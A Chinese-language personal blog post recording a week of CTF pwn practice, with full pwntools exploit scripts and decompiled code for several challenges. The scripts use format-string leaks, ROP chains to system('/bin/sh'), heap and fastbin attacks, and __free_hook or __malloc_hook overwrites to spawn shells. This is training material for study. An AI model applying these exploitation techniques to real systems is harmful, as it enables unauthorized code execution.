pwn

sixth week

with pwn

Posted by pic4xiu on November 11, 2019

本周是第六周了,继续佛系刷题,上周的红帽杯 pwn 题就 3 道,但是我第一道就不会,最后还是通过各种姿势了解到了怎么搞,神他妈爆破 pwn

from pwn import*
elf = ELF("./pwn")
context.log_level = "debug"
tmp=''
for j in range(0,32):
	for i in range(33,127):
		io = remote('47.104.190.38',12001)
		io.recvuntil("Give me a index:\n")
		pay = str(j)
		io.sendline(pay)
		io.recvuntil("Three is good number,I like it very much!\n")
		payload = '\x8B\x01\xC3'
		io.send(payload)
		io.recvuntil("Leave you name of size:\n")
		payload = '50'
		io.sendline(payload)
		io.recvuntil("Tell me:\n")
		a = chr(i)
		payload = a
		io.send(payload)
		if(io.recv()=='1\n'):
			tmp+=chr(i)
		io.close()
print tmp

说实话,我看这题一开始是一点思路没有,下面说一下我当时的心路历程

  • 因为只能控制 3 个字节,就一直想着怎么跳转,但是 mmap 区域有点问题,而且短跳转没什么可以利用的,最多能跳到 vsdo 里边,走不通
  • 然后就想着怎么通过 3 个字节比如 push 寄存器后 ret 的操作来整,发现也行不通,没什么可以利用的值

最后才注意到函数流程,原来判断还是有用的,其实还是想的太粗糙,就想 get shell ,其实 get flag 即可~~~~

  v7 = v6(1);
  if ( v5 == v7 )
    result = sub_80506F0("1");
  else
    result = sub_80506F0("2");

其实回过头来看基本上就是告诉你了,就是爆破,奈何我直接忽略了后边的 if 语句~~~ 所以还是得多看题多总结啊,现在就深入总结以下本题逻辑

int sub_8048B5C()
{
  int result; // eax
  int v1; // ecx
  int v2; // edx
  unsigned int v3; // et1
  int v4; // [esp+Ch] [ebp-1Ch]
  int v5; // [esp+10h] [ebp-18h]
  int (__cdecl *v6)(signed int); // [esp+14h] [ebp-14h]
  int v7; // [esp+18h] [ebp-10h]
  unsigned int v8; // [esp+1Ch] [ebp-Ch]

  v8 = __readgsdword(0x14u);
  sub_80506F0("Give me a index:");
  v5 = sub_8048ADF(unk_80F6C80);
  v6 = (int (__cdecl *)(signed int))sub_8071C50(0, 4096, 7, 34, 0, 0);
  sub_80506F0("Three is good number,I like it very much!");
  sub_8070EA0(0, v6, 3);
  sub_80506F0("Leave you name of size:");
  sub_804FCF0("%d", (unsigned int)&v4);
  if ( v4 < 0 || v4 > 512 )
    sub_804F260(0);
  sub_80506F0("Tell me:");
  sub_8070EA0(0, &unk_80F6CC0, v4 - 1);
  v7 = v6(1);
  if ( v5 == v7 )
    result = sub_80506F0("1");
  else
    result = sub_80506F0("2");
  v3 = __readgsdword(0x14u);
  v2 = v3 ^ v8;
  if ( v3 != v8 )
    sub_8073110(v1, v2);
  return result;
}

本题被 stripped 了,不过没事就基本用到了 3 4 个函数还是能分清的,所以直接把分析完的贴出来

int sub_8048B5C()
{
  int result; // eax
  int v1; // [esp+Ch] [ebp-1Ch]
  int v2; // [esp+10h] [ebp-18h]
  void *v3; // [esp+14h] [ebp-14h]
  int v4; // [esp+18h] [ebp-10h]
  unsigned int v5; // [esp+1Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  puts("Give me a index:");
  v2 = read_written_by_chutide(unk_80F6C80);	//直接通过索引把 flag 对应内容读出来放 v2 上
  v3 = (void *)mmap(0, 4096, 7, 34, 0, 0);
  puts("Three is good number,I like it very much!");
  read(0, v3, 3u);
  puts("Leave you name of size:");
  scanf("%d", &v1);
  if ( v1 < 0 || v1 > 512 )
    sub_804F260(0);	//这个不太确定, exit ??没往下看,不太重要,知道限制范围就行
  puts("Tell me:");
  read(0, &unk_80F6CC0, v1 - 1);
  v4 = ((int (__cdecl *)(signed int))v3)(1);	//只有三个字节的函数怎么搞??返回值给 v4
  if ( v2 == v4 )	//用爆破把它搞出来	
    result = puts("1");
  else
    result = puts("2");
  if ( __readgsdword(0x14u) != v5 )
    check_fail();
  return result;
}

关键其实还是read(0, &unk_80F6CC0, v1 - 1);这行,这个把 ecx 放上了 unk_80F6CC0 ,没清理掉,赶紧用上,把我们输进去即 [ecx] 放到 eax 假装当返回值,就是0: 8b 01 mov eax,DWORD PTR [ecx],再加个 ret 回去就完事了~~~ (狗头)

难受了这么简单的题怪我太粗心了~~ 顺便安利一个贼强的网站,能把汇编转为字节码 ,好用~~

第二道加 ollvm 了,不太会,第三个浏览器 pwn ,怎么搞~~~~

hitctf pwn1

from pwn import *
p= process('./pwn1')
elf = ELF("./pwn1", checksec=False)
libc = elf.libc
context.log_level = "debug"
p.sendafter("Input your name:\n","%17$p")
p.sendafter("Input the last six numbers of your ID card:\n","1"*0x20+p64(1))
p.sendlineafter("Your choice:","3")
p.sendlineafter("Do you want to change your ID number?","y\n")
p.sendafter("Input your cookie:\n","1\n")
p.recvuntil('0x')
libc.address = int(p.recvuntil('\n')[:-1], 16)-0x20830
#real = u64(p.recvuntil('\n')[:-1].ljust(8,"\x00"))-0x20830
p.sendafter("Input your new ID number:\n","1"*0x20+p64(1))
p.sendlineafter("Your choice:","3")
binsh = libc.search("/bin/sh").next()
print binsh
system=libc.symbols['system']
p.sendlineafter("Do you want to change your ID number?","a"*0x28+p64(0x400DE3)+p64(binsh)+p64(system))
p.interactive()

我这个真是就看见一个洞,结果这个 printf(s2, &v1); 也是一个~~~ 太粗心了丫~~~

hitctf pwn2

from pwn import *
p = process('./pwn2',aslr=2)
elf = ELF("./pwn2", checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
#context.log_level = "debug"
def new(title,name,size,message):
	p.sendafter('Input your choice:','1')
	p.sendafter('title:\n',title)
	p.sendafter('name:\n',name)
	p.sendafter('message size:\n',str(size))
	p.sendafter('message:\n',message)
def edit(ind,size,message):
	p.sendafter('Input your choice:','2')
	p.sendafter('Which one?\n',str(ind))
	p.sendafter('message size:\n',str(size))
	p.sendafter('new message:\n',message)
def show(ind):
	p.sendafter('Input your choice:','3')
	p.sendafter('Which one?\n',str(ind))
def free(ind):
	p.sendafter('Input your choice:','4')
	p.sendafter('Which one?\n',str(ind))


new('a','a',0x80,'a'*0x80)
new('b','b',1,'b')
edit(0,0x90,'1'*8)
new('d','d',0x80,'d'*8)
show(2)
p.recvuntil('Title: ')
leak = u64(p.recvuntil('\n')[:-1].ljust(8,"\x00"))-0x3c4b64
print hex(leak)
new('a','a',0xf7,'a'*0x20)
edit(3,0xb8,'0')
new('d','d',1,'d')
edit(3,0xb8,'\x01'*0xc8+p64(0x31)*4+p64(libc.symbols['__free_hook'] + leak)+p64(81)*2)
one=leak+0x4526a
edit(4,0x51,p64(one))
free(0)
p.interactive()

找这个洞,花了五百万年,终于找到了,前后 5 个小时吧,服了,这题学了很多,明天写题解发先知!!

ddctf pwn

比较简单的,但是溢出不太常规,注意一下偏移直接 one_gadget 必定成功

#encoding:utf-8
#!/upr/bin/env python
from pwn import *
#context.log_level = "debug"
p = process('./xpwn')
elf = ELF("./xpwn", checksec=False)
libc = elf.libc
p.recvuntil('Enter username: ')
p.send('a'*40)
p.recvuntil('a'*40)
stack = u32(p.recv(4))-72
libc = u32(p.recv(4))-417797
p.recvuntil('password: ')
p.send('-1')
p.recvuntil('): ')
one = libc+0x5fbc6
print hex(one)
p.send(p32(one)+p32(0)+'a'*60+p32(stack))
p.interactive()

没题做了,再做一遍今年信息安全 pwn

your_pwn

from pwn import *
p = process('./pwn')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
p.recvuntil('name:')
p.sendline('test')
libc = ''
#context.log_level = "debug"
for i in range(637,631,-1):
	p.recvuntil('index\n')
	p.sendline(str(i))
	p.recvuntil('hex) ')
	tmp = p.recvuntil('\n')[:-1]
	print tmp[-2:]
	if len(tmp)<2:
		tmp = '0'+tmp
	libc+= tmp[-2:]
	p.recvuntil('value\n')
	p.sendline('0')
real = int(libc,16)-133168
print 'libc==>'+str(hex(real))
one = real+0x45216
print hex(one)
gdb.attach(p)
for i in range(0,6):
	p.recvuntil('index\n')
	p.sendline(str(i+344))
	p.recvuntil('hex) ')
	tmp = p.recvuntil('\n')[:-1]
	p.recvuntil('value\n')
	p.sendline(str(ord(p64(one)[i])))
p.sendline('a')
p.recv()
p.interactive()

daily

from pwn import *
p = process('./daily',aslr=2)
elf = ELF("./daily", checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
#context.log_level = "debug"
def show():
	p.sendafter('choice:','1')
def new(length,message):
	p.sendafter('choice:','2')
	p.sendafter('daily:',str(length))
	p.sendafter('Now you can write you daily\n',message)
def edit(ind,message):
	p.sendafter('choice:','3')
	p.sendafter('daily:',str(ind))
	p.sendafter('Please enter the new daily\n',message)
def free(ind):
	p.sendafter('choice:','4')
	p.sendafter('daily:',str(ind))

new(0x60,'a')
new(0x60,'a')
new(0x80,'a')
new(0x80,'a')
free(1)
free(0)
new(0x60,'a')
show()
p.recvuntil('0 : ')
heap = u64(p.recvuntil('2')[:-1].ljust(8,"\x00"))-0x61
print hex(heap)
free(2)
new(0x80,'a')
show()
p.recvuntil('1 : ')
leak = u64(p.recvuntil('3')[:-1].ljust(8,"\x00"))-0x61-3951360
free_hook=libc.symbols['__free_hook'] + leak
sys=libc.symbols['system'] + leak
print hex(leak)
print hex(free_hook)
edit(0,'a'*8+p64(heap+0x10))
a =(heap+0x10-0x602060)/16
free(a)
new(0x71,'a')
edit(0,p64(0x602078))
new(0x60,'/bin/sh')
new(0x60,p64(free_hook))
edit(2,p64(sys))
free(0)
#gdb.attach(p)
p.interactive()

深入学习大佬姿势,好骚好骚,第一次接触这种不限制 free 范围的

double

from pwn import *
p = process('./double',aslr=2)
elf = ELF("./double", checksec=False)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
context.log_level = "debug"
def new(message):
	p.sendlineafter('> ','1')
	p.sendlineafter('Your data:\n',message)
def show(ind):
	p.sendlineafter('> ','2')
	p.sendlineafter('Info index: ',str(ind))
def edit(ind,message):
	p.sendlineafter('> ','3')
	p.sendlineafter('Info index: ',str(ind))
	p.sendline(message)
def free(ind):
	p.sendlineafter('> ','4')
	p.sendlineafter('Info index: ',str(ind))

new('0'*0x80)
new('0'*0x80)
free(1)
show(0)
leak = u64(p.recvuntil('\n')[:-1].ljust(8,"\x00"))
real = leak-3951480
print hex(leak)
mall = leak-88-16-0x23
print hex(mall)
new('2'*0x60)
new('2'*0x60)
new('2'*0x60)
free(3)
edit(2,p64(mall))
new('6'*0x60)
one = real+0x4526a
new('a'*0x13+p64(one)+'0'*(0x60-0x13-8))
p.sendlineafter('> ','1')
p.interactive()

一开始没看懂这题